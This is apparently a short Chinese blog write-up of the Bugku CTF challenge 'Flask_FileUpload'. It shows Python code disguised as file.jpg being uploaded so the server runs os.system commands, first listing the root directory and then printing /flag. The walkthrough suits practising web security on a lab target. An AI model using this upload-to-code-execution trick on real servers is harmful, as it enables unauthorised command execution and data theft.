技术栈

Bugku-web-Flask_FileUpload

黑白时光les2024-08-01 11:52

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
上一篇:Python面试题:如何使用WebSocket实现实时Web应用
下一篇:单片机之串口通信协议
相关推荐
056646
2 小时前
agent学习Day15——SQLAlchemy 查询过滤、分页与历史列表接口
python·学习·fastapi
程序员爱德华
3 小时前
Python与C++:异同点对比
c++·python
hangyuekejiGEO
3 小时前
GEO技术服务选型指南
大数据·人工智能·python
90后的晨仔
3 小时前
从 H5 到 uni-app:一篇写给前端小白的"翻译指南"
前端·vue.js·前端框架
软萌萌的1
3 小时前
Java Spring Boot 修改yml配置&加载顺序规则
java·spring boot·python
陈随易
3 小时前
moon,apt和yum之外linux系统命令安装新选择
前端·后端·程序员
IT小盘
4 小时前
13-企业Prompt模板-角色任务约束与输出格式
java·前端·prompt
Dxy1239310216
4 小时前
Linux 编译安装 Python 3.12.10(多版本共存,不破坏系统Python)
linux·运维·python
徐小夕
4 小时前
开源!我用SQLite + DuckDB打造了一款可视化AI问数平台
前端·算法·github
leslie118
5 小时前
babel笔记
前端
热门推荐
01GitHub 镜像站点02如何新建文件夹? 电脑新建文件夹的4种方法0300 Debian字符界面如何支持中文04国内可直接用、免费额度/永久免费的大模型API清单(含 SiliconFlow、火山、阿里、智谱、百度、Kimi、DeepSeek、DMXAPI 等)05微信历史版本含下载地址( Windows PC | 安卓 | MAC )及设置微信不更新062026 国产 AI 大模型横评:DeepSeek、通义千问、Kimi、文心一言、星火、豆包谁更能打?07AI 编程 IDE 全景解析 2026:Agent 全面接管开发链路082026年7月AI圈大地震:GPT-5.6被政府限制、Claude入驻Slack、Anthropic自研芯片09Agnes AI 免费 API 接入指南:文本、生图、生视频,一套接口全免费102026 年 AI 大模型 & AI 编程工具实战全总结